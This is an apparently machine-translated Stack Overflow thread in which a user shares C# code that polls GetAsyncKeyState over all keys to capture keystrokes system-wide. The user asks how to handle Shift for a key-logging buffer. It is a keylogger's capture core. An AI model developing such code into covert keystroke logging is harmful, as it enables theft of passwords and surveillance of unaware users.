Hello Stack Overflow сообщество!Можно заменить символы при нажатии клавиши Shift?
Это моя функция, которая ловит каждое нажимается клавиша:
public static string GetBuffKeys()
{
string buffer = "";
foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
{
if (GetAsyncKeyState(i) == -32767)
buffer += Enum.GetName(typeof(Keys), i);
}
return buffer;
}
Чтобы иметь немного форматирования, я с помощью этой функции, которая заменяет мне символы с новым:
public static class KeyControl
{
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(int vKey);
public static string ReplaceChars(string text)
{
text = text.Replace("Space", " ");
text = text.Replace("Delete", "<Del>");
text = text.Replace("LShiftKey", "");
text = text.Replace("ShiftKey", "");
text = text.Replace("OemQuotes", "!");
text = text.Replace("Oemcomma", "?");
text = text.Replace("D8", "á");
text = text.Replace("D2", "ě");
text = text.Replace("D3", "š");
text = text.Replace("D4", "č");
text = text.Replace("D5", "ř");
text = text.Replace("D6", "ž");
text = text.Replace("D7", "ý");
text = text.Replace("D9", "í");
text = text.Replace("D0", "é");
text = text.Replace("D1", "+");
text = text.Replace("Back", "<==");
text = text.Replace("LButton", "");
text = text.Replace("RButton", "");
text = text.Replace("NumPad", "");
text = text.Replace("OemPeriod", ".");
text = text.Replace("OemSemicolon", ",");
text = text.Replace("Oem4", "/");
text = text.Replace("LControlKey", "");
text = text.Replace("ControlKey", "");
text = text.Replace("Enter", "<ENT>");
text = text.Replace("Shift", "");
text = text.Replace("CapsLock", "");
text = text.Replace("Oem6", "(");
return text;
}
Но я хочу заменить D * (например, D1) с номером, если нажата клавиша Shift. Возможно? А если нет, то что лучше для ведения журнала ключей, чем буфера всех нажатых клавиш? Большое спасибо!
Это текст из [ 'System.Windows.Input.KeyEventArgs.Key'] (https://msdn.microsoft. com/en-us/library/system.windows.input.keyeventargs.key% 28v = vs.110% 29.aspx) в ['System.Windows.Input.KeyEventArgs'] (https://msdn.microsoft.com). /en-us/library/System.Windows.Input.KeyEventArgs%28v=vs.110%29.aspx) (WPF) или из ['System.Windows.Forms.Keys'] (https://msdn.microsoft. com/en-us/library/system.windows.forms.keys.aspx) в ['System.Windows.Forms.KeyEventArgs'] (https://msdn.microsoft.com/en-us/library/System.Windows .Forms.KeyEventArgs% 28v = vs.110% 29.aspx) (winforms)? – dbc
@dbc нет, я добавил свою функцию в человеческий поток, проверьте это. – PepinCZ
Вы можете использовать ['Keyboard.Modifiers'] (https://msdn.microsoft.com/en-us/library/system.windows.input.keyboard.modifiers%28v=vs.110%29.aspx), чтобы увидеть какие клавиши-модификаторы в настоящее время нажаты. Это то, что вы хотите? – dbc